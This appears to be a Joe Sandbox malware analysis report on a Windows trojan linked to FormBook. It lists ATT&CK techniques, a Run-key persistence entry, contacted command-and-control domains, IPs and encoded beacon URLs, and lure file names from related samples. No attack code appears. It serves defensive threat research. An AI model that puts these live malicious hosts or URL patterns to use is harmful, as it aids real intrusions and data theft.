Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	21 Disable or Modify Tools	1 OS Credential Dumping	11 Peripheral Device Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Abuse Elevation Control Mechanism	Security Account Manager	113 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	612 Process Injection	3 Obfuscated Files or Information	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	612 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	21%	ReversingLabs	Win64.Trojan.Generic

Source	Detection	Scanner	Label
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.salecost.co.uk/lxk5/?3pSl=bXiTJHhxyN&Z6ZTG=zj5keJbhqHRqpBHEzEPKOuQbxRjm8qWuWsd9F2eyqHWyZ50o0GVe7MC2nYinXopw20BlJsxmZQL4Qtg6IXTgBkLaiZkxb6ZcnHHrEYQse9ZTnJ7WfQRHJgpeqyDS6bOga2ykoHk=	0%	Avira URL Cloud	safe
http://www.limpiezasbarcelo.com/utkc/?Z6ZTG=xUiyaqLJoScYwvSKxaGp/hpT2WjKlz4HgwmTPdW94fPPmC4rv/t3tHuSJrzPzR7paXxk8earaiLam3RcAVyJFQBqD9wWwb3EOl9ToIAQBz3Abx7ULfREDyg8fvDjES+swyckS94=&3pSl=bXiTJHhxyN	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://www.le-kuk.shop/obdd/?3pSl=bXiTJHhxyN&Z6ZTG=iAqH8h/tGKVhLv76hXtDkp/tsoNJZUwghhFRVhBlXKA5k0wUKDpGIsk5Z77aZpW07kzVnHl6/cD+xmMbGt3tKENSOXeInUOEjIwpy90PuGUlpE2byY+FLaYtfu+R+h2f+4odIwk=	0%	Avira URL Cloud	safe
http://www.bayviewcribbage.com/odz6/	0%	Avira URL Cloud	safe
http://www.xuzfceth.com/wvfe/	0%	Avira URL Cloud	safe
http://www.videos60.com/hfmm/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://www.united-domains.de/email_website/homepage-baukasten/	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://www.salecost.co.uk/lxk5/	0%	Avira URL Cloud	safe
http://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr+d5ouA/hJc9ntyVwHyC0jENaFifi0j0/YggYyTtohP/rQs3Pv13bgnK1VWNIV+aS38IFIZFluiy4+zt0Ak7+zX+w=&3pSl=bXiTJHhxyN	0%	Avira URL Cloud	safe
http://bqtt8ppp.com:301	0%	Avira URL Cloud	safe
https://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr	0%	Avira URL Cloud	safe
http://www.primefindsstore.shop/hfkt/	0%	Avira URL Cloud	safe
http://www.vertilehub.xyz/ei4t/?3pSl=bXiTJHhxyN&Z6ZTG=vJK+R49o60hMb5R0zuW0LjMDSBoWblw/xm7bGUo972WEnNUAqilJR4ikt7uwBrcRV8UZThTaEWZ7S+DdGKZTmgrpJBBQs9ifJOYm4nfBSZlzTv8zXZPL/ZPwonFSFx1LsUa4ZMM=	100%	Avira URL Cloud	malware
https://www.united-domains.de/neue-top-level-domain/	0%	Avira URL Cloud	safe
https://www.united-domains.de/unternehmen/datenschutz/	0%	Avira URL Cloud	safe
http://www.top65s.com/awbu/?3pSl=bXiTJHhxyN&Z6ZTG=tfMOGb5YbIlZgDy8Ct7zXIcDvsDfT/TzyUAekPS/3XIjjxWvcqryNCXIK4stFUxfS1vuJxAN6daHj1X4B8YBs4RT9ktx4jetcwfj0b5V53bLA3sBo/Tvu++c4r3yYfk5ffJC8L0=	0%	Avira URL Cloud	safe
http://www.xuzfceth.com/wvfe/?3pSl=bXiTJHhxyN&Z6ZTG=9oDlrGBoczxc0gczmqK1qT+UWdDZ5zHLqosyG+84tRh7R4eQSXiPG8LnfVg9iGgF5+wWImCEQfufShLjWU3N10ZwNVybtIBwFMrSzRX1wq0uGk8UZr/5T8KnA73sbBy91RxM/wk=	0%	Avira URL Cloud	safe
https://www.united-domains.de/login/	0%	Avira URL Cloud	safe
http://www.top65s.com/awbu/	0%	Avira URL Cloud	safe
https://www.united-domains.de	0%	Avira URL Cloud	safe
http://www.vertilehub.xyz/ei4t/	100%	Avira URL Cloud	malware
https://www.united-domains.de/	0%	Avira URL Cloud	safe
http://www.videos60.com/hfmm/?Z6ZTG=NFJP1MENpWop4mQ2Zs5LCbA0YH8E+xFn0ZZfcGEEhmCw8vkYycZHoGwi7KU1tu5K8k8nV/m8HY5DGkDycaipo03uFrN3sKGd/4X9PAy/KU8mrpcfTGbb4advs0SPZoPYPk8rppw=&3pSl=bXiTJHhxyN	0%	Avira URL Cloud	safe
http://www.primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14+Y+susbmSjzG/9xdAoGM+9umLmUU6H5kdIuyQunB9svsxFbN7a2+mg2UjjMTinRCLCxuYh/RfhiZ2azIWHVHb3pa+ivSdntBEUsH8W9S2MHlPSw0GyODA=	0%	Avira URL Cloud	safe
http://www.bayviewcribbage.com	0%	Avira URL Cloud	safe
https://www.united-domains.de/unternehmen/kontakt/	0%	Avira URL Cloud	safe
http://www.limpiezasbarcelo.com/utkc/	0%	Avira URL Cloud	safe
http://primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.le-kuk.shop	89.31.143.90	true	true	unknown
www.xuzfceth.com	152.32.156.214	true	true	unknown
www.salecost.co.uk	185.151.30.199	true	true	unknown
onstatic-pt.setupdns.net	81.88.57.70	true	true	unknown
lcmoji.lc301adbt.com	156.251.142.107	true	false	unknown
www.primefindsstore.shop	23.105.172.12	true	true	unknown
www.hondamechanic.today	64.190.62.22	true	true	unknown
limpiezasbarcelo.com	81.88.48.71	true	true	unknown
www.vertilehub.xyz	203.161.49.220	true	true	unknown
ghs.googlehosted.com	142.250.185.83	true	false	unknown
www.videos60.com	unknown	unknown	true	unknown
www.ecurtiscustoms.com	unknown	unknown	true	unknown
www.bayviewcribbage.com	unknown	unknown	true	unknown
www.top65s.com	unknown	unknown	true	unknown
www.theestrellastore.com	unknown	unknown	true	unknown
www.limpiezasbarcelo.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.bayviewcribbage.com/odz6/	false	Avira URL Cloud: safe	unknown
http://www.le-kuk.shop/obdd/?3pSl=bXiTJHhxyN&Z6ZTG=iAqH8h/tGKVhLv76hXtDkp/tsoNJZUwghhFRVhBlXKA5k0wUKDpGIsk5Z77aZpW07kzVnHl6/cD+xmMbGt3tKENSOXeInUOEjIwpy90PuGUlpE2byY+FLaYtfu+R+h2f+4odIwk=	true	Avira URL Cloud: safe	unknown
http://www.videos60.com/hfmm/	true	Avira URL Cloud: safe	unknown
http://www.salecost.co.uk/lxk5/?3pSl=bXiTJHhxyN&Z6ZTG=zj5keJbhqHRqpBHEzEPKOuQbxRjm8qWuWsd9F2eyqHWyZ50o0GVe7MC2nYinXopw20BlJsxmZQL4Qtg6IXTgBkLaiZkxb6ZcnHHrEYQse9ZTnJ7WfQRHJgpeqyDS6bOga2ykoHk=	true	Avira URL Cloud: safe	unknown
http://www.limpiezasbarcelo.com/utkc/?Z6ZTG=xUiyaqLJoScYwvSKxaGp/hpT2WjKlz4HgwmTPdW94fPPmC4rv/t3tHuSJrzPzR7paXxk8earaiLam3RcAVyJFQBqD9wWwb3EOl9ToIAQBz3Abx7ULfREDyg8fvDjES+swyckS94=&3pSl=bXiTJHhxyN	true	Avira URL Cloud: safe	unknown
http://www.xuzfceth.com/wvfe/	true	Avira URL Cloud: safe	unknown
http://www.salecost.co.uk/lxk5/	true	Avira URL Cloud: safe	unknown
http://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr+d5ouA/hJc9ntyVwHyC0jENaFifi0j0/YggYyTtohP/rQs3Pv13bgnK1VWNIV+aS38IFIZFluiy4+zt0Ak7+zX+w=&3pSl=bXiTJHhxyN	false	Avira URL Cloud: safe	unknown
http://www.vertilehub.xyz/ei4t/?3pSl=bXiTJHhxyN&Z6ZTG=vJK+R49o60hMb5R0zuW0LjMDSBoWblw/xm7bGUo972WEnNUAqilJR4ikt7uwBrcRV8UZThTaEWZ7S+DdGKZTmgrpJBBQs9ifJOYm4nfBSZlzTv8zXZPL/ZPwonFSFx1LsUa4ZMM=	true	Avira URL Cloud: malware	unknown
http://www.top65s.com/awbu/?3pSl=bXiTJHhxyN&Z6ZTG=tfMOGb5YbIlZgDy8Ct7zXIcDvsDfT/TzyUAekPS/3XIjjxWvcqryNCXIK4stFUxfS1vuJxAN6daHj1X4B8YBs4RT9ktx4jetcwfj0b5V53bLA3sBo/Tvu++c4r3yYfk5ffJC8L0=	false	Avira URL Cloud: safe	unknown
http://www.primefindsstore.shop/hfkt/	true	Avira URL Cloud: safe	unknown
http://www.xuzfceth.com/wvfe/?3pSl=bXiTJHhxyN&Z6ZTG=9oDlrGBoczxc0gczmqK1qT+UWdDZ5zHLqosyG+84tRh7R4eQSXiPG8LnfVg9iGgF5+wWImCEQfufShLjWU3N10ZwNVybtIBwFMrSzRX1wq0uGk8UZr/5T8KnA73sbBy91RxM/wk=	true	Avira URL Cloud: safe	unknown
http://www.top65s.com/awbu/	false	Avira URL Cloud: safe	unknown
http://www.videos60.com/hfmm/?Z6ZTG=NFJP1MENpWop4mQ2Zs5LCbA0YH8E+xFn0ZZfcGEEhmCw8vkYycZHoGwi7KU1tu5K8k8nV/m8HY5DGkDycaipo03uFrN3sKGd/4X9PAy/KU8mrpcfTGbb4advs0SPZoPYPk8rppw=&3pSl=bXiTJHhxyN	true	Avira URL Cloud: safe	unknown
http://www.vertilehub.xyz/ei4t/	true	Avira URL Cloud: malware	unknown
http://www.primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14+Y+susbmSjzG/9xdAoGM+9umLmUU6H5kdIuyQunB9svsxFbN7a2+mg2UjjMTinRCLCxuYh/RfhiZ2azIWHVHb3pa+ivSdntBEUsH8W9S2MHlPSw0GyODA=	true	Avira URL Cloud: safe	unknown
http://www.limpiezasbarcelo.com/utkc/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de/email_website/homepage-baukasten/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.9.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://bqtt8ppp.com:301	sc.exe, 0000000D.00000002.3946994371.0000000004278000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.0000000003AA8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de/neue-top-level-domain/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bayviewcribbage.com/odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr	sc.exe, 0000000D.00000002.3946994371.000000000509A000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.00000000048CA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de/unternehmen/datenschutz/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.united-domains.de/login/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.united-domains.de/unternehmen/kontakt/	sc.exe, 0000000D.00000002.3949616302.0000000006480000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	sc.exe, 0000000D.00000002.3949734927.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.bayviewcribbage.com	NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3948817261.0000000005854000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://primefindsstore.shop/hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14	sc.exe, 0000000D.00000002.3946994371.0000000004BE4000.00000004.10000000.00040000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.0000000004414000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.251.142.107	lcmoji.lc301adbt.com	Seychelles	40065	CNSERVERSUS	false
23.105.172.12	www.primefindsstore.shop	United States	30633	LEASEWEB-USA-WDCUS	true
64.190.62.22	www.hondamechanic.today	United States	11696	NBS11696US	true
203.161.49.220	www.vertilehub.xyz	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
142.250.185.83	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
81.88.48.71	limpiezasbarcelo.com	Italy	39729	REGISTER-ASIT	true
89.31.143.90	www.le-kuk.shop	Germany	15598	QSC-AG-IPXDE	true
152.32.156.214	www.xuzfceth.com	Hong Kong	135377	UHGL-AS-APUCloudHKHoldingsGroupLimitedHK	true
185.151.30.199	www.salecost.co.uk	United Kingdom	48254	TWENTYIGB	true
81.88.57.70	onstatic-pt.setupdns.net	Italy	39729	REGISTER-ASIT	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467140
Start date and time:	2024-07-03 18:51:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@21/32@12/10
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 83% Number of executed functions: 77 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 4.231.128.59
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, client.wns.windows.com, ocsp.digicert.com, atm-settingsfe-prod-geo2.trafficmanager.net, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, settings-win.data.microsoft.com, umwatson.events.data.microsoft.com, settings-prod-neu-3.northeurope.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Simulations

Behavior and APIs

Time	Type	Description
12:52:54	API Interceptor	7213653x Sleep call for process: sc.exe modified
18:52:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run PTR4CRBH C:\Program Files (x86)\Windows Media Player\wmplayer.exe
18:52:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run PTR4CRBH C:\Program Files (x86)\Windows Media Player\wmplayer.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
156.251.142.107	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	www.top65s.com/awbu/
156.251.142.107	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	www.top65s.com/awbu/
23.105.172.12	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	www.primefindsstore.shop/hfkt/
64.190.62.22	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	www.tutoringservices-jp.space/7kq8/
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/pv57/
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/pv57/
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	www.turf-installer.top/huho/
	Navana Pharmaceuticals PLC.pdf.exe	Get hash	malicious	FormBook	Browse	www.hofiw.link/7ixz/
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/
	Transfer Swift USD 87000.exe	Get hash	malicious	FormBook	Browse	www.chefjob6.live/vpkv/
	unexpressiveness.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.woodsplitter1.xyz/9h33/
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	www.hondamechanic.today/expp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.salecost.co.uk	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	185.151.30.199
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	185.151.30.199
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	185.151.30.199
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	185.151.30.199
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	185.151.30.199
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	185.151.30.199
www.le-kuk.shop	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	89.31.143.90
	BANK DETAILS CORRECTIONS.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	89.31.143.90
www.xuzfceth.com	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	BANCO SWIFTs#U0334x#U0334l#U0334x#U0334..exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	z26PEDIDODECOMPRAURGENTE___s___x___l___x____.exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	ORDEN DE COMPRAs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	MUESTRA DE ORDEN DE COMPRA pdf.exe	Get hash	malicious	FormBook	Browse	152.32.156.214
	PI for #13288.scr.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	152.32.156.214
	LAPG Purchase Order 1112895.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	152.32.156.214
	Payment for PO # 12946.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	152.32.156.214

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNSERVERSUS	03.07.2024-sipari#U015f UG01072410 - Onka ve Tic a.s .exe	Get hash	malicious	FormBook	Browse	162.209.189.212
	9098393827383039.exe	Get hash	malicious	FormBook	Browse	198.16.50.172
	HSBCscancopy-invoice778483-payment87476MT103.exe	Get hash	malicious	FormBook	Browse	198.16.50.172
	Adjunto confirmacion de pedido.exe	Get hash	malicious	DBatLoader, FormBook	Browse	198.16.50.172
	Fiyat ARH-43010386.pdf2400120887000033208 'd#U0131r. PO 1310098007.exe	Get hash	malicious	FormBook	Browse	162.209.189.210
	SJ5SyRpCFA.elf	Get hash	malicious	Unknown	Browse	154.88.57.118
	PO Number 00127011.exe	Get hash	malicious	FormBook	Browse	198.16.50.172
	arm4-20240623-0650.elf	Get hash	malicious	Mirai	Browse	156.251.245.85
	ORDEN DE COMPRA URGENTEsxlx..exe	Get hash	malicious	FormBook	Browse	156.251.142.108
NBS11696US	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	Bn0VHqJWSS.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	gZVfHNoTGQ.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	Bn0VHqJWSS.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	gZVfHNoTGQ.exe	Get hash	malicious	Unknown	Browse	64.190.63.222
	1R50C5E13BU8I.exe	Get hash	malicious	FormBook	Browse	64.190.62.22
	Reporte Comercial.pdf	Get hash	malicious	Unknown	Browse	64.190.63.136
VNPT-AS-VNVNPTCorpVN	Your file name without extension goes here.exe	Get hash	malicious	FormBook	Browse	203.161.41.207
	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	203.161.62.199
	Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
	spec 4008670601 AZTEK Order.exe	Get hash	malicious	FormBook	Browse	203.161.49.220
